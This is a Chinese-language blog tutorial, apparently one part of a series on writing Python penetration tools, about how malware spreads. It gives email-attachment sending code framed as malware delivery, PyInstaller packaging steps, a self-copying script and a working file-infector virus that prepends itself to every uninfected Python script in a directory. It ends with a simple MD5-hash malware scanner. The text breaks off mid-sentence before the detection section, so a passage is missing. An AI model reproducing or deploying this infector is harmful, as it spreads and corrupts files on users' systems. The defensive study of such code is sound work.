目录
前言
5.1 概念
5.2 途径一:电子邮件的附件
5.3 途径二:可执行文件
5.4 途径三:传播感染
拓展 - 恶意软件的检测
检测可执行文件
文件行为扫描
前篇我们学会了构造基本的恶意软件,但仍有不足,此篇我们将学习恶意软件如何传播、自我复制、变形的。从而为未来学习入侵检测工具编写打下基础。坚持科技向善,勿跨越法律界限。初出茅庐,如有错误望各位不吝赐教。
恶意软件通过各种渠道传播到用户的计算机系统中的过程。恶意软件包括病毒、蠕虫、木马、间谍软件等,它们的传播原理有多种方式:
邮件附件传播:恶意软件通过电子邮件的附件形式传播。当用户下载、打开或点击附件时,恶意软件就会感染用户的计算机系统。
感染可执行文件:恶意软件会感染用户的可执行文件,当用户运行这些被感染的文件时,恶意软件就会被激活。
网络下载传播:恶意软件通过网络下载的方式传播。用户在浏览器中访问被感染的网站或点击恶意链接时,恶意软件就会被下载到用户的计算机系统中。
社交工程:恶意软件通过欺骗用户的方式传播。例如,通过仿冒合法网站或发送虚假信息的方式诱导用户点击链接或下载附件,从而将恶意软件传播给用户。
受感染的外部设备:恶意软件可以通过受感染的外部设备(如USB闪存驱动器、移动硬盘)传播。当用户将这些受感染的设备插入计算机时,恶意软件就会自动传播到计算机系统中。
操作系统漏洞利用:恶意软件利用操作系统或应用程序的漏洞来传播。当用户的计算机系统存在漏洞时,恶意软件就可以利用这些漏洞来感染计算机系统。
恶意软件也常以附件的形式传播,要在Python中发送带有附件的电子邮件,可以使用SMTP模块。下面是一个示例代码段,用于发送一封带有附件的电子邮件:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
# 设置邮件信息
sender = '[email protected]'
receiver = '[email protected]'
subject = '邮件主题'
message = '邮件正文'
# 创建带有附件的邮件
msg = MIMEMultipart()
msg['From'] = sender
msg['To'] = receiver
msg['Subject'] = subject
# 添加正文
msg.attach(MIMEText(message, 'plain'))
# 添加附件
filename = 'path/to/attachment.txt'
attachment = open(filename, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename.split('/')[-1])
msg.attach(part)
# 发送邮件
smtpObj = smtplib.SMTP('smtp.example.com', 587)
smtpObj.starttls()
smtpObj.login('username', 'password')
smtpObj.sendmail(sender, receiver, msg.as_string())
smtpObj.quit()
将[email protected]
和[email protected]
替换为实际的发件人和收件人电子邮件地址。另外,请将path/to/attachment.txt
替换为附件文件的路径。还需要将smtp.example.com
替换为实际的SMTP服务器地址,并在smtpObj.login('username', 'password')
中提供正确的用户名和密码以登录SMTP服务器。
通过执行此代码,我们将能够发送带有附件的电子邮件。如果这份附件为可执行文件(恶意软件),而收信人正好点击了它,那么将执行恶意程序。下面我们来学习用python将脚本编译成可执行文件。
在Python中,可以使用一些第三方库来将Python代码编译成可执行文件,如pyinstaller、py2exe、cx_Freeze等。以下是使用pyinstaller进行编译的步骤:
使用以下命令安装:
pip install pyinstaller
在命令行中进入待编译的代码所在目录。使用以下命令将代码编译为可执行文件:
pyinstaller your_code.py
其中,your_code.py是待编译的Python代码文件。编译完成后,会在当前目录生成一个dist文件夹,里面包含了可执行文件。
注:编译过程可能需要一些时间,具体时间根据代码的复杂性和依赖库的数量而定。另外,编译后的可执行文件在不同操作系统上可能有不同的使用方式,需要根据具体的操作系统和编译情况进行相应的测试和调整。
我们印象中最典型的依靠感染传播的恶意软件大概就是蠕虫病毒了,它们通过自我复制,遍历其他文件,将自身与原文件合并,感染整个电脑甚至于互联的电脑。接下来我们来看一个使用print行为感染其他py文件的示例:
# 导入所需的模块
import sys
import glob
# 定义一个空列表用于存储病毒代码
code = []
# 打开当前脚本文件并逐行读取内容
with open(sys.argv[0], 'r') as f:
lines = f.readlines()
# 定义一个标志变量,用于判断是否进入病毒代码区域
virus_area = False
# 遍历文件的每一行
for line in lines:
# 如果当前行为病毒代码开始标记,则将标志变量设为True
if line == '## START OF VIRUS ##\n':
virus_area = True
# 如果处于病毒代码区域,则将该行代码添加到code列表中
if virus_area:
code.append(line)
# 如果当前行为病毒代码结束标记,则跳出循环
if line == '## END OF VIRUS ##':
break
# 获取所有以.py或.pyw为后缀的Python脚本文件
python_scripts = glob.glob('*.py') + glob.glob('*.pyw')
# 遍历每个Python脚本文件
for script in python_scripts:
# 打开脚本文件并逐行读取内容
with open(script, 'r') as f:
script_code = f.readlines()
# 定义一个标志变量,用于判断脚本文件是否已被感染
infected = False
# 遍历脚本文件的每一行
for line in script_code:
# 如果当前行为病毒代码开始标记,则将感染标志设为True并跳出循环
if line == '## START OF VIRUS ##\n':
infected = True
break
# 如果脚本文件未被感染,则将病毒代码与脚本代码合并
if not infected:
final_code = []
final_code.extend(code)
final_code.extend('\n')
final_code.extend(script_code)
# 将合并后的代码写入脚本文件中
with open(script, 'w') as f:
f.writelines(final_code)
# 感染后要执行的行为
print("ERROR!")
下面是一个用Python编写的可以自我复制的程序示例:
import sys
import os
def copy_self(destination):
current_file = sys.argv[0]
new_file = os.path.join(destination, os.path.basename(current_file))
with open(current_file, 'r') as file:
content = file.read()
with open(new_file, 'w') as file:
file.write(content)
if __name__ == '__main__':
destination = input('请输入复制的目标路径:')
copy_self(destination)
print('程序已成功复制到目标路径!')
运行程序后,它会要求你输入一个目标路径,然后将自己复制到该路径下。你可以尝试运行这个程序,然后查看目标路径是否有一个与原程序相同的副本。但是,如果我们想要用复制的方法感染所有
恶意软件的检测是通过对计算机系统和文件进行扫描和分析来识别可能存在的恶意软件。以下是一些常见的恶意软件检测方法:
杀毒软件:使用专业的杀毒软件可以检测和清除计算机系统中的恶意软件。杀毒软件会定期更新病毒库,以识别新出现的恶意软件。
行为分析:恶意软件通常会显示出异常的行为模式,例如访问系统资源、修改系统设置、网络活动等。行为分析可以检测这些异常行为,并作出相应的反应。
文件扫描:通过对计算机文件的扫描和分析,可以检测包含恶意代码的文件。扫描可以基于文件的特征、文件的来源、文件的行为等进行。
网络流量分析:通过监控网络流量,可以检测潜在的恶意软件传输和通信。网络流量分析可以识别恶意软件的传播路径和目标。
漏洞扫描:恶意软件通常会利用系统和软件的漏洞来入侵计算机。漏洞扫描可以检测系统和软件中的漏洞,并提供相应的修复建议。
下面是一个简单的Python恶意软件检测程序的示例代码,我们将执行文件扫描,来排除可执行文件。当然,因为下面的示例没有进行文件行为的扫描,不能筛选是否恶意软件的可执行文件,所以还需不断完善。
import os
import hashlib
def scan_file(file_path):
# 检查文件是否为可执行文件
if not os.access(file_path, os.X_OK):
return False
# 计算文件的MD5哈希值
md5_hash = hashlib.md5()
with open(file_path, 'rb') as file:
for chunk in iter(lambda: file.read(4096), b""):
md5_hash.update(chunk)
# 判断文件的MD5哈希值是否在已知的恶意软件列表中
known_hashes = ['md5_hash1', 'md5_hash2', 'md5_hash3'] # 填写已知的恶意软件的MD5哈希值列表
if md5_hash.hexdigest() in known_hashes:
return True
return False
def scan_directory(directory_path):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
if scan_file(file_path):
print(f"恶意软件检测:{file_path}")
# 输入要检测的目录路径
directory_path = input("请输入要检测的目录路径:")
scan_directory(directory_path)
在这个示例代码中,scan_file
函数用于扫描单个文件,它首先检查文件是否为可执行文件,然后计算文件的MD5哈希值。接着,它将计算得到的MD5哈希值与已知的恶意软件列表中的哈希值进行对比,如果有匹配的哈希值,则判断文件为恶意软件。
scan_directory
函数用于扫描指定目录下的所有文件,它使用os.walk
函数遍历目录结构,并对每个文件调用scan_file
函数进行检测。如果发现恶意软件,则输出相应的文件路径。
文件行为扫描是指对电脑系统中的文件进行扫描和分析,以检测文件的行为和特征。通过文件行为扫描可以识别出恶意软件、病毒、木马等恶意文件,并对其进行隔离、清除或删除。
文件行为扫描通常包括以下步骤:
文件识别:扫描程序会对系统中的文件进行识别,包括文件类型、文件大小、文件访问权限等信息。
文件分析:扫描程序会对识别出的文件进行分析,包括文件的内容、结构和特征等方面。
行为检测:扫描程序会根据预先定义的规则和算法,对文件的行为进行检测,包括文件的读写操作、网络通信、系统调用等。
恶意行为识别:扫描程序会根据检测到的文件行为,进行恶意行为的识别和分类,例如识别出恶意软件、病毒、木马等。
隔离与清除:对于检测到的恶意文件,扫描程序会将其隔离或删除,以防止其对系统造成进一步的危害。
因为我们目前学习的知识还不足以支撑我们监控程序的行为,所以我们也可以使用一些已经成熟的工具,例如inotify或fsevents。然后使用自定义的规则或模式匹配算法检测是否存在恶意软件扫描行为。
以上代码仅仅是一个简单的示例,实际的恶意软件检测需要更复杂的算法和技术来提高准确性,等到我们学习的知识日渐成熟,我们将编写更加有技术含量的检测工具,加油吧!
此篇代码并没有太大的难度,算是上一篇的补充。如有兴趣可查看上篇
python渗透工具编写学习笔记:4、构造恶意软件
那么这就是我们今天全部的内容了,如有帮助,不胜荣幸。